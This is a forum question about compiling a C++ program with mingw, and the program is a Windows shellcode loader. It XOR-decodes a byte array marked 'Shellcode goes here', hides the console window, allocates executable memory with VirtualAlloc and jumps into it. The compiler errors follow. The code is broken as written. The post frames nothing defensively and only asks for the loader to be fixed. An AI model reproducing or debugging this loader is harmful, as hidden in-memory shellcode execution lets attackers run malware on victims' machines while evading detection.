Compilation showing me error, not in scope in C++

  arrays, c++
#include <windows.h>
#include <iostream>

int main(int argc, char* argv[])
{

    char a[] = { 0xc4, 0xe0, 0x8, 0x49, 0x11, 0x9e, 0xd7, 0x97, 0x68 }; //Shellcode goes here;
    char b = [sizeof a];

    for (int i = 0; i < b; i++) {
        a[i] = b[i] ^ 'KEY';
    }

    ShowWindow(GetConsoleWindow(), SW_HIDE);

    void* exec = VirtualAlloc(0, sizeof b, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, b, sizeof b);
    ((void (*)())exec)();
}

But it is showing me such an error when compiling with mingw32-gcc compiler in linux….

loader.cpp: In function ‘int main(int, char**)’:
loader.cpp:8:66: error: narrowing conversion of ‘196’ from ‘int’ to ‘char’ [-Wnarrowing]
    8 |     char a[]={0xc4, 0xe0, 0x8, 0x49, 0x11, 0x9e, 0xd7, 0x97, 0x68}; //Shellcode goes here;
      |                                                                  ^
loader.cpp:8:66: error: narrowing conversion of ‘224’ from ‘int’ to ‘char’ [-Wnarrowing]
loader.cpp:8:66: error: narrowing conversion of ‘158’ from ‘int’ to ‘char’ [-Wnarrowing]
loader.cpp:8:66: error: narrowing conversion of ‘215’ from ‘int’ to ‘char’ [-Wnarrowing]
loader.cpp:8:66: error: narrowing conversion of ‘151’ from ‘int’ to ‘char’ [-Wnarrowing]
loader.cpp:9:15: error: expected identifier before ‘sizeof’

Source: Windows Questions C++

LEAVE A COMMENT